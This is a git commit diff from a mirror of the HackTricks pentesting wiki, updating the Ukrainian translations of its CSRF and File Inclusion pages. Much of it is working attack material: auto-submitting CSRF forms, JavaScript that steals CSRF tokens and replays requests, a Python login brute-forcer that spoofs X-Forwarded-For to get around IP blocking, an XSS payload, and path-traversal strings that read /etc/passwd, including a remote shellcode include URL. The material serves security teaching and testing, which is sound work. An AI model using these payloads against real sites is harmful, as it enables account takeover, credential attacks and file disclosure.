mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/pent
This commit is contained in:
parent
051f570965
commit
a8cd61e3cd
@ -2,83 +2,111 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Пояснення Cross-Site Request Forgery (CSRF)
|
||||
## Cross-Site Request Forgery (CSRF) Пояснення
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** - це тип вразливості безпеки, що зустрічається у веб-додатках. Він дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім ініціює запити до облікового запису жертви за допомогою методів, таких як виконання JavaScript, надсилання форм або отримання зображень.
|
||||
**Cross-Site Request Forgery (CSRF)** — це тип вразливості безпеки у веб-застосунках. Вона дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, використовуючи їхні автентифіковані сесії. Атака відбувається, коли користувач, який увійшов у платформу жертви, відвідує шкідливий сайт. Цей сайт ініціює запити до облікового запису жертви за допомогою виконання JavaScript, відправлення форм або завантаження зображень.
|
||||
|
||||
### Передумови для атаки CSRF
|
||||
### Передумови для CSRF-атаки
|
||||
|
||||
Щоб експлуатувати вразливість CSRF, потрібно виконати кілька умов:
|
||||
Щоб експлуатувати вразливість CSRF, мають бути виконані кілька умов:
|
||||
|
||||
1. **Визначити цінну дію**: Зловмисник повинен знайти дію, яку варто експлуатувати, наприклад, зміну пароля користувача, електронної пошти або підвищення привілеїв.
|
||||
2. **Управління сесією**: Сесія користувача повинна управлятися виключно через куки або заголовок HTTP Basic Authentication, оскільки інші заголовки не можуть бути змінені для цієї мети.
|
||||
3. **Відсутність непередбачуваних параметрів**: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаці.
|
||||
1. **Identify a Valuable Action**: Зловмиснику потрібно знайти дію, яку варто експлуатувати — наприклад, зміна пароля користувача, email або підвищення привілеїв.
|
||||
2. **Session Management**: Сесія користувача має керуватися виключно через cookies або заголовок HTTP Basic Authentication, оскільки інші заголовки не можна маніпулювати для цієї мети.
|
||||
3. **Absence of Unpredictable Parameters**: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть запобігти атаці.
|
||||
|
||||
### Швидка перевірка
|
||||
|
||||
Ви можете **захопити запит у Burp** і перевірити захисти CSRF, а для тестування з браузера ви можете натиснути **Copy as fetch** і перевірити запит:
|
||||
Ви можете **захопити запит у Burp** і перевірити захист від CSRF, а для тестування з браузера можна натиснути **Copy as fetch** та переглянути запит:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Захист від CSRF
|
||||
|
||||
Можна реалізувати кілька контрзаходів для захисту від атак CSRF:
|
||||
Можна застосувати кілька контрзаходів для захисту від CSRF-атак:
|
||||
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Цей атрибут запобігає браузеру відправляти куки разом із запитами з інших сайтів. [Більше про SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): Політика CORS жертви може вплинути на здійсненність атаки, особливо якщо атака вимагає читання відповіді з сайту жертви. [Дізнайтеся про обходи CORS](cors-bypass.md).
|
||||
- **Перевірка користувача**: Запит на введення пароля користувача або розв'язання капчі може підтвердити наміри користувача.
|
||||
- **Перевірка заголовків Referrer або Origin**: Валідація цих заголовків може допомогти забезпечити, що запити надходять з надійних джерел. Однак обережне формування URL може обійти погано реалізовані перевірки, такі як:
|
||||
- Використання `http://mal.net?orig=http://example.com` (URL закінчується на надійний URL)
|
||||
- Використання `http://example.com.mal.net` (URL починається з надійного URL)
|
||||
- **Зміна імен параметрів**: Зміна імен параметрів у POST або GET запитах може допомогти запобігти автоматизованим атакам.
|
||||
- **Токени CSRF**: Включення унікального токена CSRF у кожну сесію та вимога цього токена в наступних запитах може значно зменшити ризик CSRF. Ефективність токена можна підвищити, впроваджуючи CORS.
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Цей атрибут забороняє браузеру відправляти cookies разом із крос-сайт запитами. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): Політика CORS сайту жертви може впливати на можливість здійснення атаки, особливо якщо атака вимагає читання відповіді від сайту жертви. [Learn about CORS bypass](cors-bypass.md).
|
||||
- **Перевірка користувача**: Запит пароля користувача або вирішення captcha можуть підтвердити намір користувача.
|
||||
- **Перевірка заголовків Referrer або Origin**: Валідація цих заголовків може допомогти переконатися, що запити надходять із довірених джерел. Однак ретельно сконструйовані URL можуть обійти погано реалізовані перевірки, наприклад:
|
||||
- Використання `http://mal.net?orig=http://example.com` (URL закінчується на довірений URL)
|
||||
- Використання `http://example.com.mal.net` (URL починається з довіреного URL)
|
||||
- **Зміна імен параметрів**: Зміна імен параметрів у POST чи GET запитах може ускладнити автоматизовані атаки.
|
||||
- **CSRF Tokens**: Включення унікального CSRF token для кожної сесії та вимога цього токена у наступних запитах значно зменшує ризик CSRF. Ефективність токена можна підсилити через застосування CORS.
|
||||
|
||||
Розуміння та реалізація цих захистів є критично важливими для підтримки безпеки та цілісності веб-додатків.
|
||||
Розуміння та впровадження цих захистів є критичними для підтримання безпеки та цілісності веб-застосунків.
|
||||
|
||||
## Обхід захисту
|
||||
## Defences Bypass
|
||||
|
||||
### Від POST до GET
|
||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
Можливо, форма, яку ви хочете зловживати, підготовлена для надсилання **POST запиту з токеном CSRF, але** ви повинні **перевірити**, чи **GET** також **дійсний** і чи, коли ви надсилаєте GET запит, **токен CSRF все ще перевіряється**.
|
||||
Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
Якщо вразливий endpoint також приймає параметри з $_REQUEST, ви можете повторно виконати ту саму дію як GET-запит і повністю опустити CSRF token. Це перетворює дію, призначену тільки для POST, на GET-запит, що виконується без токена.
|
||||
|
||||
Приклад:
|
||||
|
||||
- Original POST with token (intended):
|
||||
|
||||
```http
|
||||
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
|
||||
```
|
||||
|
||||
- Bypass by switching to GET (no token):
|
||||
|
||||
```http
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
Примітки:
|
||||
- Цей шаблон часто зустрічається разом із reflected XSS, коли відповіді помилково віддаються як text/html замість application/json.
|
||||
- Поєднання цього з XSS значно знижує бар'єри для експлуатації, оскільки можна доставити єдине GET-посилання, яке і тригерить вразливий код, і повністю обходить перевірки CSRF.
|
||||
|
||||
### Відсутність токена
|
||||
|
||||
Додатки можуть реалізувати механізм для **перевірки токенів**, коли вони присутні. Однак вразливість виникає, якщо перевірка зовсім пропускається, коли токен відсутній. Зловмисники можуть експлуатувати це, **видаляючи параметр**, що несе токен, а не лише його значення. Це дозволяє їм обійти процес перевірки та ефективно провести атаку Cross-Site Request Forgery (CSRF).
|
||||
Додатки можуть реалізовувати механізм для **перевірки токенів**, коли вони присутні. Однак вразливість виникає, якщо перевірка повністю пропускається, коли токен відсутній. Атакувальники можуть скористатися цим, **видаливши параметр**, який містить токен, а не лише його значення. Це дозволяє їм обійти процес валідації і ефективно провести Cross-Site Request Forgery (CSRF) атаку.
|
||||
|
||||
### Токен CSRF не прив'язаний до сесії користувача
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
Додатки, **які не прив'язують токени CSRF до сесій користувачів**, представляють значний **ризик безпеки**. Ці системи перевіряють токени проти **глобального пулу**, а не забезпечують, щоб кожен токен був прив'язаний до ініціюючої сесії.
|
||||
Додатки, які не прив'язують CSRF токени до сесій користувачів, становлять значний ризик безпеки. Такі системи перевіряють токени відносно **глобального пулу**, замість того щоб гарантувати, що кожен токен прив'язаний до сесії, яка його ініціювала.
|
||||
|
||||
Ось як зловмисники експлуатують це:
|
||||
Ось як атакувальники це використовують:
|
||||
|
||||
1. **Аутентифікуються** за допомогою свого облікового запису.
|
||||
2. **Отримують дійсний токен CSRF** з глобального пулу.
|
||||
3. **Використовують цей токен** в атаці CSRF проти жертви.
|
||||
1. **Аутентифікуватися** за допомогою власного акаунта.
|
||||
2. **Отримати дійсний CSRF токен** з глобального пулу.
|
||||
3. **Використати цей токен** у CSRF-атакі проти жертви.
|
||||
|
||||
Ця вразливість дозволяє зловмисникам робити несанкціоновані запити від імені жертви, експлуатуючи **недостатній механізм перевірки токенів** додатка.
|
||||
Ця вразливість дозволяє атакувальникам надсилати несанкціоновані запити від імені жертви, експлуатуючи неналежний механізм перевірки токенів у додатку.
|
||||
|
||||
### Обхід методу
|
||||
|
||||
Якщо запит використовує "**незвичний**" **метод**, перевірте, чи працює **функціональність** **перезапису методу**. Наприклад, якщо він **використовує метод PUT**, ви можете спробувати **використати метод POST** і **надіслати**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Якщо запит використовує «дивний» метод, перевірте, чи працює функціональність override методу. Наприклад, якщо використовується метод PUT, можна спробувати використати POST і відправити: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Це також може спрацювати, якщо надіслати **параметр \_method всередині POST запиту** або використовуючи **заголовки**:
|
||||
Це також може спрацювати, відправивши **\_method параметр всередині POST-запиту** або використовуючи **заголовки**:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
|
||||
### Обхід токена кастомного заголовка
|
||||
### Custom header token bypass
|
||||
|
||||
Якщо запит додає **кастомний заголовок** з **токеном** до запиту як **метод захисту CSRF**, тоді:
|
||||
Якщо запит додає **кастомний заголовок** з **токеном** до запиту як **метод захисту CSRF**, то:
|
||||
|
||||
- Перевірте запит без **кастомізованого токена та заголовка.**
|
||||
- Перевірте запит з точною **такою ж довжиною, але іншим токеном**.
|
||||
- Перевірте запит без **кастомного токена та відповідного заголовка.**
|
||||
- Перевірте запит з точно **такою ж довжиною, але іншим токеном.**
|
||||
|
||||
### Токен CSRF перевіряється за допомогою куки
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
Додатки можуть реалізувати захист CSRF, дублюючи токен як у куки, так і в параметрі запиту або встановлюючи куки CSRF і перевіряючи, чи відповідає токен, надісланий на бекенд, значенню в куки. Додаток перевіряє запити, перевіряючи, чи токен у параметрі запиту відповідає значенню в куки.
|
||||
Додатки можуть реалізовувати захист від CSRF шляхом дублювання токена як у cookie, так і в параметрі запиту, або встановлюючи CSRF cookie і перевіряючи, чи відповідає токен, надісланий у запиті, значенню cookie. Застосунок валідуює запити, перевіряючи, чи співпадає токен у параметрі запиту зі значенням у cookie.
|
||||
|
||||
Однак цей метод вразливий до атак CSRF, якщо веб-сайт має недоліки, які дозволяють зловмиснику встановити куки CSRF у браузері жертви, такі як вразливість CRLF. Зловмисник може експлуатувати це, завантажуючи оманливе зображення, яке встановлює куки, а потім ініціюючи атаку CSRF.
|
||||
Однак цей метод вразливий до CSRF-атак, якщо на сайті є вади, що дозволяють атакувальнику встановити CSRF cookie у браузері жертви, наприклад CRLF-вразливість. Атакувальник може скористатися цим, завантаживши підступне зображення, яке встановлює cookie, а потім ініціювавши CSRF-атаку.
|
||||
|
||||
Нижче наведено приклад того, як може бути структурована атака:
|
||||
```html
|
||||
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що якщо **csrf токен пов'язаний з сесійним кукі, ця атака не спрацює**, оскільки вам потрібно буде встановити жертві вашу сесію, і, отже, ви будете атакувати себе.
|
||||
> Зауважте, що якщо **csrf token пов'язаний із session cookie, ця атака не спрацює**, оскільки вам доведеться підставити session жертви у себе, і, отже, ви будете атакувати самі себе.
|
||||
|
||||
### Зміна Content-Type
|
||||
|
||||
Згідно з [**цим**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), щоб **уникнути попередніх** запитів, використовуючи метод **POST**, ці значення Content-Type дозволені:
|
||||
Згідно з [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), щоб **уникнути preflight** запитів при використанні методу **POST**, дозволені наступні значення Content-Type:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
Однак зверніть увагу, що **логіка серверів може варіюватися** в залежності від використаного **Content-Type**, тому вам слід спробувати зазначені значення та інші, такі як **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
Однак зверніть увагу, що **логіка серверів може відрізнятися** залежно від використовуваного **Content-Type**, тому слід спробувати наведені значення та інші, такі як **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Приклад (з [тут](https://brycec.me/posts/corctf_2021_challenges)) відправки JSON даних як text/plain:
|
||||
Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -134,31 +162,32 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Обхід попередніх запитів для JSON-даних
|
||||
### Обхід preflight-запитів для JSON-даних
|
||||
|
||||
Коли ви намагаєтеся надіслати JSON-дані через POST-запит, використання `Content-Type: application/json` в HTML-формі не є безпосередньо можливим. Аналогічно, використання `XMLHttpRequest` для надсилання цього типу вмісту ініціює попередній запит. Проте існують стратегії, які можуть обійти це обмеження та перевірити, чи сервер обробляє JSON-дані незалежно від Content-Type:
|
||||
When attempting to send JSON data via a POST request, using the `Content-Type: application/json` in an HTML form is not directly possible. Similarly, utilizing `XMLHttpRequest` to send this content type initiates a preflight request. Nonetheless, there are strategies to potentially bypass this limitation and check if the server processes the JSON data irrespective of the Content-Type:
|
||||
|
||||
1. **Використовуйте альтернативні типи вмісту**: Використовуйте `Content-Type: text/plain` або `Content-Type: application/x-www-form-urlencoded`, встановивши `enctype="text/plain"` у формі. Цей підхід перевіряє, чи бекенд використовує дані незалежно від Content-Type.
|
||||
2. **Змініть тип вмісту**: Щоб уникнути попереднього запиту, забезпечуючи, щоб сервер розпізнавав вміст як JSON, ви можете надіслати дані з `Content-Type: text/plain; application/json`. Це не викликає попереднього запиту, але може бути правильно оброблено сервером, якщо він налаштований на прийом `application/json`.
|
||||
3. **Використання SWF Flash файлу**: Менш поширений, але можливий метод полягає у використанні SWF flash файлу для обходу таких обмежень. Для детального розуміння цієї техніки зверніться до [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
1. **Use Alternative Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. This approach tests if the backend utilizes the data regardless of the Content-Type.
|
||||
2. **Modify Content Type**: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with `Content-Type: text/plain; application/json`. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept `application/json`.
|
||||
3. **SWF Flash File Utilization**: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Обхід перевірки Referrer / Origin
|
||||
### Referrer / Origin check bypass
|
||||
|
||||
**Уникайте заголовка Referrer**
|
||||
**Уникати заголовка Referer**
|
||||
|
||||
Додатки можуть перевіряти заголовок 'Referer' лише тоді, коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використовувати наступний HTML мета-тег:
|
||||
Додатки можуть перевіряти заголовок 'Referer' тільки коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використати наступний HTML meta tag:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
Це забезпечує відсутність заголовка 'Referer', що потенційно обминає перевірки валідації в деяких додатках.
|
||||
Це гарантує, що заголовок 'Referer' буде опущено, потенційно обходячи перевірки валідації в деяких додатках.
|
||||
|
||||
**Regexp bypasses**
|
||||
|
||||
**Regexp обхід**
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Щоб встановити доменне ім'я сервера в URL, який Referrer буде надсилати в параметрах, ви можете зробити:
|
||||
Щоб встановити домен сервера в URL, який Referrer збирається відправити всередині параметрів, ви можете зробити так:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -187,25 +216,25 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Метод обходу HEAD**
|
||||
### **Обхід методу HEAD**
|
||||
|
||||
Перша частина [**цього CTF звіту**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснює, що [джерело Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281) налаштоване на **обробку запитів HEAD як запитів GET** без тіла відповіді - поширений обхід, який не є унікальним для Oak. Замість конкретного обробника, який займається запитами HEAD, їх просто **передають обробнику GET, але додаток просто видаляє тіло відповіді**.
|
||||
У першій частині [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснюється, що [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), роутер налаштовано так, щоб **handle HEAD requests as GET requests** без тіла відповіді — це поширене обхідне рішення, не унікальне для Oak. Замість спеціального обробника для HEAD-запитів їх просто **given to the GET handler but the app just removes the response body**.
|
||||
|
||||
Отже, якщо запит GET обмежений, ви можете просто **надіслати запит HEAD, який буде оброблений як запит GET**.
|
||||
Отже, якщо GET-запит обмежено, можна просто **send a HEAD request that will be processed as a GET request**.
|
||||
|
||||
## **Приклади експлуатації**
|
||||
## **Приклади експлойтів**
|
||||
|
||||
### **Екстракція токена CSRF**
|
||||
### **Екфільтрація CSRF Token**
|
||||
|
||||
Якщо **токен CSRF** використовується як **захист**, ви можете спробувати **екстрактувати його**, зловживаючи вразливістю [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) або вразливістю [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
Якщо використовується **CSRF token** як засіб **захисту**, можна спробувати **exfiltrate it**, зловживаючи вразливістю [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) або вразливістю [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### **GET за допомогою HTML тегів**
|
||||
### **GET using HTML tags**
|
||||
```xml
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
Інші теги HTML5, які можна використовувати для автоматичної відправки GET-запиту, це:
|
||||
Інші HTML5-теги, які можна використовувати для автоматичної відправки GET-запиту, включають:
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
@ -234,7 +263,7 @@ background: url("...");
|
||||
</video>
|
||||
</audio>
|
||||
```
|
||||
### Форма GET запиту
|
||||
### GET-запит форми
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
@ -252,7 +281,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Запит POST форми
|
||||
### POST-запит форми
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -280,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Відправка POST запиту через iframe
|
||||
### Надсилання POST-запиту форми через iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -303,7 +332,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Ajax POST запит**
|
||||
### **Ajax POST request**
|
||||
```html
|
||||
<script>
|
||||
var xh
|
||||
@ -332,7 +361,7 @@ data: "param=value¶m2=value2",
|
||||
})
|
||||
</script>
|
||||
```
|
||||
### multipart/form-data POST запит
|
||||
### multipart/form-data POST request
|
||||
```javascript
|
||||
myFormData = new FormData()
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
|
||||
@ -345,7 +374,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
mode: "no-cors",
|
||||
})
|
||||
```
|
||||
### multipart/form-data POST запит v2
|
||||
### multipart/form-data POST request v2
|
||||
```javascript
|
||||
// https://www.exploit-db.com/exploits/20009
|
||||
var fileSize = fileData.length,
|
||||
@ -373,7 +402,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### Відправка POST запиту зсередини iframe
|
||||
### POST-запит форми всередині iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -397,7 +426,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **Вкрасти CSRF токен і надіслати POST запит**
|
||||
### **Вкрасти CSRF Token та надіслати POST-запит**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -444,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **Вкрасти CSRF токен і надіслати Post запит, використовуючи iframe, форму та Ajax**
|
||||
### **Вкрасти CSRF Token та надіслати POST-запит, використовуючи iframe, form та Ajax**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -472,7 +501,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Вкрасти CSRF токен і надіслати POST запит за допомогою iframe та форми**
|
||||
### **Вкрасти CSRF Token і надіслати POST request, використовуючи iframe і form**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -505,7 +534,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **Викрасти токен і надіслати його за допомогою 2 iframe**
|
||||
### **Вкрасти token і відправити його, використовуючи 2 iframes**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -535,7 +564,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTSteal CSRF токен за допомогою Ajax і надіслати пост з формою**
|
||||
### **POSTSteal CSRF token за допомогою Ajax і відправити post через form**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -586,9 +615,9 @@ room: username,
|
||||
})
|
||||
</script>
|
||||
```
|
||||
## CSRF Login Brut Force
|
||||
## CSRF Login Brute Force
|
||||
|
||||
Код можна використовувати для брутфорсу форми входу, використовуючи CSRF токен (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе чорне списування IP):
|
||||
Код можна використати для Brut Force форми входу, що використовує CSRF token (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе IP blacklisting):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -643,7 +672,6 @@ login(USER, line.strip())
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Найкраще: Ви можете написати код, і сервер його виконає). У php це **вимкнено** за замовчуванням (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Сервер завантажує локальний файл.
|
||||
**Remote File Inclusion (RFI):** file завантажується з віддаленого server (Найкраще: Ви можете написати code і server його виконає). У php це за замовчуванням **відключено** (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** server завантажує local file.
|
||||
|
||||
Вразливість виникає, коли користувач може якимось чином контролювати файл, який буде завантажено сервером.
|
||||
Вразливість виникає, коли користувач якимось чином може контролювати file, який server збирається завантажити.
|
||||
|
||||
Вразливі **PHP функції**: require, require_once, include, include_once
|
||||
Уразливі **PHP functions**: require, require_once, include, include_once
|
||||
|
||||
Цікаві інструменти для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
Корисний інструмент для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
@ -19,43 +19,42 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Змішуючи кілька списків LFI для \*nix і додаючи більше шляхів, я створив цей:**
|
||||
|
||||
**Змішавши кілька \*nix LFI списків і додавши більше шляхів, я створив цей:**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Спробуйте також змінити `/` на `\`\
|
||||
Спробуйте також замінити `/` на `\`\
|
||||
Спробуйте також додати `../../../../../`
|
||||
|
||||
Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Список, який використовує кілька технік для пошуку файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Злиття різних списків слів:
|
||||
Об'єднання різних wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Спробуйте також змінити `/` на `\`\
|
||||
Спробуйте також замінити `/` на `\`\
|
||||
Спробуйте також видалити `C:/` і додати `../../../../../`
|
||||
|
||||
Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Список, який використовує кілька технік для пошуку файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Перевірте список LFI для linux.
|
||||
Перевірте LFI список linux.
|
||||
|
||||
## Основний LFI та обхід
|
||||
## Основи LFI та обхідні методи
|
||||
|
||||
Всі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Усі приклади стосуються Local File Inclusion, але також можуть застосовуватися до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### послідовності обходу, видалені нерекурсивно
|
||||
### traversal sequences, обрізані нерекурсивно
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,15 +62,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Обійти додавання більше символів в кінець наданого рядка (обхід: $\_GET\['param']."php")
|
||||
Bypass додавання додаткових символів у кінець наданого рядка (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Це **вирішено з PHP 5.4**
|
||||
Це **виправлено з PHP 5.4**
|
||||
|
||||
### **Кодування**
|
||||
|
||||
Ви можете використовувати нестандартні кодування, такі як подвоєне кодування URL (та інші):
|
||||
Ви можете використовувати нестандартні кодування, такі як double URL encode (та інші):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
